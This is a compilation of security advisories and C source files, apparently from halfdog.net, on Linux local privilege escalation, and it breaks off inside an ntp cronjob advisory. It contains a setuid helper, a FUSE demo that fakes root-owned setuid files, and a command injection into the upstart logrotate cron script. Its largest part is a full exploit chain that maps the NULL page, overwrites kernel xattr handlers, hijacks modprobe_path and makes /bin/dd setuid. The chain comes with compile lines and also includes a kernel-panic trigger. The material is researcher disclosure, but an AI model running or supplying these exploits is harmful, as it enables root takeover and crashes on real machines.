* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* Minimal userspace file system demo, compile using
* gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
*
* See also /usr/include/fuse/fuse.h
*/
#define FUSE_USE_VERSION 28
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static FILE *logFile;
static char *fileNameNormal="/file";
static char *fileNameCharDev="/chardev";
static char *fileNameNormalSubFile="/dir/file";
static char *realFileName="./RealFile";
static int realFileHandle=-1;
static int io_getattr(const char *path, struct stat *stbuf) {
fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
path, stbuf);
fflush(logFile);
int res=-ENOENT;
memset(stbuf, 0, sizeof(struct stat));
if(strcmp(path, "/") == 0) {
stbuf->st_mode=S_IFDIR|0755;
stbuf->st_nlink=2;
res=0;
} else if(strcmp(path, fileNameCharDev)==0) {
// stbuf->st_dev=makedev(5, 2);
stbuf->st_mode=S_IFCHR|0777;
stbuf->st_rdev=makedev(5, 2);
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=100;
res=0;
} else if(strcmp(path, "/dir")==0) {
stbuf->st_mode=S_IFDIR|S_ISGID|0777;
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=1<<12;
res=0;
} else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
if(realFileName) {
if(fstat(realFileHandle, stbuf)) {
fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
realFileName, errno, strerror(errno));
} else {
// Just change uid/suid, which is far more interesting during testing
stbuf->st_mode|=S_ISUID;
stbuf->st_uid=0;
stbuf->st_gid=0;
}
} else {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
}
stbuf->st_nlink=1; // Number of hard links
res=0;
}
return(res);
}
static int io_readlink(const char *path, char *buffer, size_t length) {
fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
path, buffer, (long)length);
fflush(logFile);
return(-1);
}
static int io_unlink(const char *path) {
fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
fflush(logFile);
return(0);
}
static int io_rename(const char *oldPath, const char *newPath) {
fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
oldPath, newPath);
fflush(logFile);
return(0);
}
static int io_chmod(const char *path, mode_t mode) {
fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
fflush(logFile);
return(0);
}
static int io_chown(const char *path, uid_t uid, gid_t gid) {
fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
fflush(logFile);
return(0);
}
/** Open a file. This function checks access permissions and may
* associate a file info structure for future access.
* @returns 0 when open OK
*/
static int io_open(const char *path, struct fuse_file_info *fi) {
fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
fflush(logFile);
return(0);
}
static int io_read(const char *path, char *buffer, size_t length,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
path, buffer, (long)length, (long)offset, fi);
fflush(logFile);
if(length<0) return(-1);
if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
if(!realFileName) {
if((offset<0)||(offset>4)) return(-1);
if(offset+length>4) length=4-offset;
if(length>0) memcpy(buffer, "xxxx", length);
return(length);
}
if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
fprintf(stderr, "read: seek on %s failed\n", path);
return(-1);
}
return(read(realFileHandle, buffer, length));
}
return(-1);
}
static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
path, buf, filler, ((long)offset), fi);
fflush(logFile);
(void) offset;
(void) fi;
if(!strcmp(path, "/")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, fileNameCharDev+1, NULL, 0);
filler(buf, "dir", NULL, 0);
filler(buf, fileNameNormal+1, NULL, 0);
return(0);
} else if(!strcmp(path, "/dir")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, "file", NULL, 0);
return(0);
}
return -ENOENT;
}
static int io_access(const char *path, int mode) {
fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
path, mode);
fflush(logFile);
return(0);
}
static int io_ioctl(const char *path, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data) {
fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
path, cmd, arg, fi, flags, data);
fflush(logFile);
return(0);
}
static struct fuse_operations hello_oper = {
.getattr = io_getattr,
.readlink = io_readlink,
// .getdir = deprecated
// .mknod
// .mkdir
.unlink = io_unlink,
// .rmdir
// .symlink
.rename = io_rename,
// .link
.chmod = io_chmod,
.chown = io_chown,
// .truncate
// .utime
.open = io_open,
.read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
.readdir = io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
.access = io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
.ioctl = io_ioctl,
// .poll
};
int main(int argc, char *argv[]) {
char buffer[128];
realFileHandle=open(realFileName, O_RDWR);
if(realFileHandle<0) {
fprintf(stderr, "Failed to open %s\n", realFileName);
exit(1);
}
snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
logFile=fopen(buffer, "a");
if(!logFile) {
fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
return(1);
}
fprintf(logFile, "Starting fuse init\n");
fflush(logFile);
return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2015/UpstartLogrotationPrivilegeEscalation/
## Introduction
Problem description: Ubuntu Vivid 1504 (development branch) installs an insecure upstart logrotation script which will read user-supplied data from /run/user/[uid]/upstart/sessions and pass then unsanitized to an env command. As user run directory is user-writable, the user may inject arbitrary commands into the logrotation script, which will be executed during daily cron job execution around midnight with root privileges.
## Methods
The vulnerability is very easy to trigger as the logrotation script /etc/cron.daily/upstart does not perform any kind of input sanitation:
#!/bin/sh
# For each Upstart Session Init, emit "rotate-logs" event, requesting
# the session Inits to rotate their logs. There is no user-daily cron.
#
# Doing it this way does not rely on System Upstart, nor
# upstart-event-bridge(8) running in the Session Init.
#
# Note that system-level Upstart logs are handled separately using a
# logrotate script.
[ -x /sbin/initctl ] || exit 0
for session in /run/user/*/upstart/sessions/*
do
env $(cat $session) /sbin/initctl emit rotate-logs >/dev/null 2>&1 || true
done
On a system with e.g. libpam-systemd installed, standard login on TTY or via SSH will create the directory /run/user/[uid] writable to the user. By preparing a suitable session file, user supplied code will be run during the daily cron-jobs. Example:
cat <<EOF > "${HOME}/esc"
#!/bin/sh
touch /esc-done
EOF
chmod 0755 "${HOME}/esc"
mkdir -p /run/user/[uid]/upstart/sessions
echo "- ${HOME}/esc" > /run/user/[uid]/upstart/sessions/x
Source: http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/
## Introduction
Problem description: The initial observation was, that the linux vm86 syscall, which allows to use the virtual-8086 mode from userspace for emulating of old 8086 software as done with dosemu, was prone to trigger FPU errors. Closer analysis showed, that in general, the handling of the FPU control register and unhandled FPU-exception could trigger CPU-exceptions at unexpected locations, also in ring-0 code. Key player is the emms instruction, which will fault when e.g. cr0 has bits set due to unhandled errors. This only affects kernels on some processor architectures, currently only AMD K7/K8 seems to be relevant.
## Methods
Virtual86SwitchToEmmsFault.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/Virtual86SwitchToEmmsFault.c) was the first POC, that triggers kernel-panic via vm86 syscall. Depending on task layout and kernel scheduler timing, the program might just cause an OOPS without heavy side-effects on the system. OOPS might happen up to 1min after invocation, depending on the scheduler operation and which of the other tasks are using the FPU. Sometimes it causes recursive page faults, thus locking up the entire machine.
To allow reproducible tests on at least a local machine, the random code execution test tool (Virtual86RandomCode.c - http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/Virtual86RandomCode.c) might be useful. It still uses the vm86-syscall, but executes random code, thus causing the FPU and task schedule to trigger a multitude of faults and to faster lock-up the system. When executed via network, executed random data can be recorded and replayed even when target machine locks up completely. Network test:
socat TCP4-LISTEN:1234,reuseaddr=1,fork=1 EXEC:./Virtual86RandomCode,nofork=1
tee TestInput < /dev/urandom | socat - TCP4:x.x.x.x:1234 > ProcessedBlocks
An improved version allows to bring the FPU into the same state without using the vm86-syscall. The key instruction is fldcw (floating point unit load control word). When enabling exceptions in one process just before exit, the task switch of two other processes later on might fail. It seems that due to that failure, the task->nsproxy ends up being NULL, thus causing NULL-pointer dereference in exit_shm during do_exit.
When the NULL-page is mapped, the NULL-dereference could be used to fake a rw-semaphore data structure. In exit_shm, the kernel attemts to down_write the semaphore, which adds the value 0xffff0001 at a user-controllable location. Since the NULL-dereference does not allow arbitrary reads, the task memory layout is unknown, thus standard change of EUID of running task is not possible. Apart from that, we are in do_exit, so we would have to change another task. A suitable target is the shmem_xattr_handlers list, which is at an address known from System.map. Usually it contains two valid handlers and a NULL value to terminate the list. As we are lucky, the value after NULL is 1, thus adding 0xffff0001 to the position of the NULL-value plus 2 will will turn the NULL into 0x10000 (the first address above mmap_min_addr) and the following 1 value into NULL, thus terminating the handler list correctly again.
The code to perform those steps can be found in FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c)
The modification of the shmem_xattr_handlers list is completely silent (could be a nice data-only backdoor) until someone performs a getxattr call on a mounted tempfs. Since such a file-system is mounted by default at /run/shm, another program can turn this into arbitrary ring-0 code execution. To avoid searching the process list to give EUID=0, an alternative approach was tested. When invoking the xattr-handlers, a single integer value write to another static address known from System.map (modprobe_path) will change the default modprobe userspace helper pathname from /sbin/modprobe to /tmp//modprobe. When unknown executable formats or network protocols are requested, the program /tmp//modprobe is executed as root, this demo just adds a script to turn /bin/dd into a SUID-binary. dd could then be used to modify libc to plant another backdoor there. The code to perform those steps can be found in ManipulatedXattrHandlerForPrivEscalation.c (http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ManipulatedXattrHandlerForPrivEscalation.c).
--- Virtual86SwitchToEmmsFault.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2013 halfdog <me (%) halfdog.net>
*
* This progam maps memory pages to the low range above 64k to
* avoid conflicts with /proc/sys/vm/mmap_min_addr and then
* triggers the virtual-86 mode. Due to unhandled FPU errors,
* task switch will fail afterwards, kernel will attempt to
* kill other tasks when switching.
*
* gcc -o Virtual86SwitchToEmmsFault Virtual86SwitchToEmmsFault.c
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
fprintf(stderr, "Handling signal\n");
}
void runTest(void *realMem) {
struct vm86plus_struct vm86struct;
int result;
memset(&vm86struct, 0, sizeof(vm86struct));
vm86struct.regs.eip=0x0;
vm86struct.regs.cs=0x1000;
// IF_MASK|IOPL_MASK
vm86struct.regs.eflags=0x3002;
vm86struct.regs.esp=0x400;
vm86struct.regs.ss=0x1000;
vm86struct.regs.ebp=vm86struct.regs.esp;
vm86struct.regs.ds=0x1000;
vm86struct.regs.fs=0x1000;
vm86struct.regs.gs=0x1000;
vm86struct.flags=0x0L;
vm86struct.screen_bitmap=0x0L;
vm86struct.cpu_type=0x0L;
alarm(1);
result=vm86(VM86_ENTER, &vm86struct);
if(result) {
fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
strerror(errno));
}
}
int main(int argc, char **argv) {
struct sigaction sigAction;
int realMemSize=1<<20;
void *realMem;
int result;
sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGILL, &sigAction, NULL); // 4
sigaction(SIGFPE, &sigAction, NULL); // 8
sigaction(SIGSEGV, &sigAction, NULL); // 11
sigaction(SIGALRM, &sigAction, NULL); // 14
realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(realMem==(void*)-1) {
fprintf(stderr, "Failed to map real-mode memory space\n");
return(1);
}
memset(realMem, 0, realMemSize);
memcpy(realMem, "\xda\x44\x00\xd9\x2f\xae", 6);
runTest(realMem);
}
--- EOF ---
--- Virtual86RandomCode.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2013 halfdog <me (%) halfdog.net>
*
* This progam maps memory pages to the low range above 64k to
* avoid conflicts with /proc/sys/vm/mmap_min_addr and then
* triggers the virtual-86 mode.
*
* gcc -o Virtual86RandomCode Virtual86RandomCode.c
*
* Usage: ./Virtual86RandomCode < /dev/urandom > /dev/null
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/vm86.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
static void handleSignal(int value, siginfo_t *sigInfo, void *context) {
fprintf(stderr, "Handling signal\n");
}
int readFully(int inputFd, void *data, int length) {
int readLength=0;
int result;
while(length) {
result=read(inputFd, data, length);
if(result<0) {
if(!readLength) readLength=result;
break;
}
readLength+=result;
length-=result;
data+=result;
}
return(readLength);
}
void runTest(void *realMem) {
struct vm86plus_struct vm86struct;
int result;
memset(&vm86struct, 0, sizeof(vm86struct));
vm86struct.regs.eip=0x0;
vm86struct.regs.cs=0x1000;
// IF_MASK|IOPL_MASK
vm86struct.regs.eflags=0x3002;
// Do not use stack above
vm86struct.regs.esp=0x400;
vm86struct.regs.ss=0x1000;
vm86struct.regs.ebp=vm86struct.regs.esp;
vm86struct.regs.ds=0x1000;
vm86struct.regs.fs=0x1000;
vm86struct.regs.gs=0x1000;
vm86struct.flags=0x0L;
vm86struct.screen_bitmap=0x0L;
vm86struct.cpu_type=0x0L;
alarm(1);
result=vm86(VM86_ENTER, &vm86struct);
if(result) {
fprintf(stderr, "vm86 failed, error %d (%s)\n", errno,
strerror(errno));
}
}
int main(int argc, char **argv) {
struct sigaction sigAction;
int realMemSize=1<<20;
void *realMem;
int randomFd=0;
int result;
sigAction.sa_sigaction=handleSignal;
sigfillset(&sigAction.sa_mask);
sigAction.sa_flags=SA_SIGINFO;
sigAction.sa_restorer=NULL;
sigaction(SIGILL, &sigAction, NULL); // 4
sigaction(SIGFPE, &sigAction, NULL); // 8
sigaction(SIGSEGV, &sigAction, NULL); // 11
sigaction(SIGALRM, &sigAction, NULL); // 14
realMem=mmap((void*)0x10000, realMemSize, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(realMem==(void*)-1) {
fprintf(stderr, "Failed to map real-mode memory space\n");
return(1);
}
result=readFully(randomFd, realMem, realMemSize);
if(result!=realMemSize) {
fprintf(stderr, "Failed to read random data\n");
return(0);
}
write(1, &result, 4);
write(1, realMem, realMemSize);
while(1) {
runTest(realMem);
result=readFully(randomFd, realMem, 0x1000);
write(1, &result, 4);
write(1, realMem, result);
}
}
--- EOF ---
--- FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2014 halfdog <me (%) halfdog.net>
*
* This progam maps a NULL page to exploit a kernel NULL-dereferences,
* Usually that will not work due to sane /proc/sys/vm/mmap_min_addr
* settings. An unhandled FPU error causes part of task switching
* to fail resulting in NULL-pointer dereference. This can be
* used to add 0xffff0001 to an arbitrary memory location, one
* of the entries in shmem_xattr_handlers is quite suited because
* it has a static address, which can be found in System.map.
* Another tool (ManipulatedXattrHandlerForPrivEscalation.c)
* could then be used to invoke the xattr handlers, thus giving
* local root privilege escalation.
*
* gcc -o FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <unistd.h>
static const char *DEDICATION="To the most adorable person met so far.";
int main(int argc, char **argv) {
int childPid;
int sockFds[2];
int localSocketFd;
int requestCount;
int result;
// Cleanup beforehand to avoid interference from previous run
asm volatile (
"emms;"
: // output (0)
:
:
);
childPid=fork();
if(childPid>0) {
mmap((void*)0, 1<<12, PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
// down_write just adds 0xffff0001 at location offset +0x6c of
// the memory address given below. shmem_xattr_handlers handlers are
// at 0xc150ae1c and contain two valid handlers, terminated by
// a NULL value. As we are lucky, the value after NULL is 1, thus
// adding 0xffff0001 shmem_xattr_handlers + 0x6c + 0xa will turn
// the NULL into 0x10000 and the following 1 into NULL, hence
// the handler list is terminated correctly again.
*((int*)0x8)=0xc150adba;
result=socketpair(AF_UNIX, SOCK_STREAM, 0, sockFds);
result=fork();
close(sockFds[result?1:0]);
localSocketFd=sockFds[result?0:1];
asm volatile (
"emms;"
: // output (0)
:
:
);
fprintf(stderr, "Playing task switch ping-pong ...\n");
// This might be too short on faster CPUs?
for(requestCount=0x10000; requestCount; requestCount--) {
result=write(localSocketFd, sockFds, 4);
if(result!=4) break;
result=read(localSocketFd, sockFds, 4);
if(result!=4) break;
asm volatile (
"fldz;"
"fldz;"
"fdivp;"
: // output (0)
:
:
);
}
close(localSocketFd);
fprintf(stderr, "Switch loop terminated\n");
// Cleanup afterwards
asm volatile (
"emms;"
: // output (0)
:
:
);
return(0);
}
usleep(10000);
// Enable FPU exceptions
asm volatile (
"fdivp;"
"fstcw %0;"
"andl $0xffc0, %0;"
"fldcw %0;"
: "=m"(result) // output (0)
:
:"%eax" // Clobbered register
);
// Terminate immediately, this seems to improve results
return(0);
}
--- EOF ---
--- ManipulatedXattrHandlerForPrivEscalation.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2014 halfdog <me (%) halfdog.net>
*
* This progam prepares memory so that the manipulated shmem_xattr_handlers
* (see FpuStateTaskSwitchShmemXattrHandlersOverwriteWithNullPage.c)
* will be read from here, thus giving ring-0 code execution.
* To avoid fiddling with task structures, this will overwrite
* just 4 bytes of modprobe_path, which is used by the kernel
* when unknown binary formats or network protocols are requested.
* In the end, when executing an unknown binary format, the modified
* modprobe script will just turn "/bin/dd" to be SUID, e.g. to
* own libc later on.
*
* gcc -o ManipulatedXattrHandlerForPrivEscalation ManipulatedXattrHandlerForPrivEscalation.c
*
* See http://www.halfdog.net/Security/2013/Vm86SyscallTaskSwitchKernelPanic/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
static const char *DEDICATION="To the most adorable person met so far.";
int main(int argc, char **argv) {
void *handlerPage;
int *handlerStruct;
void *handlerCode;
char *modprobeCommands="#!/bin/sh\nchmod u+s /bin/dd\n";
int result;
handlerStruct=(int*)0x10000;
handlerPage=mmap((void*)(((int)handlerStruct)&0xfffff000), 1<<12,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if(handlerPage==(void*)-1) {
fprintf(stderr, "Failed to map handler page\n");
return(1);
}
fprintf(stderr, "Handler page at %p\n", handlerPage);
*handlerStruct=(int)(handlerStruct+0x10); // Prefix pointer
strcpy((char*)(handlerStruct+0x10), "system"); // Prefix value
handlerCode=(void*)(handlerStruct+0x100);
*(handlerStruct+0x2)=(int)handlerCode; // list
*(handlerStruct+0x3)=(int)handlerCode; // get
*(handlerStruct+0x4)=(int)handlerCode; // set
// Switch the modprobe helper path from /sbin to /tmp. Address is
// known from kernel version's symbols file
memcpy(handlerCode, "\xb8\xa1\x2d\x50\xc1\xc7\x00tmp/\xc3", 12);
result=getxattr("/run/shm/", "system.dont-care", handlerPage, 1);
fprintf(stderr, "Setattr result: 0x%x, error %d (%s)\n", result,
errno, strerror(errno));
result=open("/tmp/modprobe", O_RDWR|O_CREAT, S_IRWXU|S_IRWXG|S_IRWXO);
write(result, modprobeCommands, strlen(modprobeCommands));
close(result);
// Create a pseudo-binary with just NULL bytes, executing it will
// trigger the binfmt module loading
result=open("/tmp/dummy", O_RDWR|O_CREAT, S_IRWXU|S_IRWXG|S_IRWXO);
memset(handlerPage, 0, 1<<12);
write(result, handlerPage, 1<<12);
close(result);
*(int*)handlerPage=(int)"/tmp/dummy";
execve("/tmp/dummy", handlerPage, NULL);
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/
## Introduction
### Problem description:
The cronjob script bundled with ntp package is intended to perform cleanup on statistics files produced by NTP daemon running with statistics enabled. The script is run as root during the daily cronjobs all operations on the ntp-user controlled statistics directory without switching to user ntp. Thus all steps are performed with root permissions in place.
Due to multiple bugs in the script, a malicious ntp user can make the backup process to overwrite arbitrary files with content controlled by the attacker, thus gaining root privileges. The problematic parts in /etc/cron.daily/ntp are:
find "$statsdir" -type f -mtime +7 -exec rm {} \;
# compress whatever is left to save space
cd "$statsdir"
ls *stats.???????? > /dev/null 2>&1
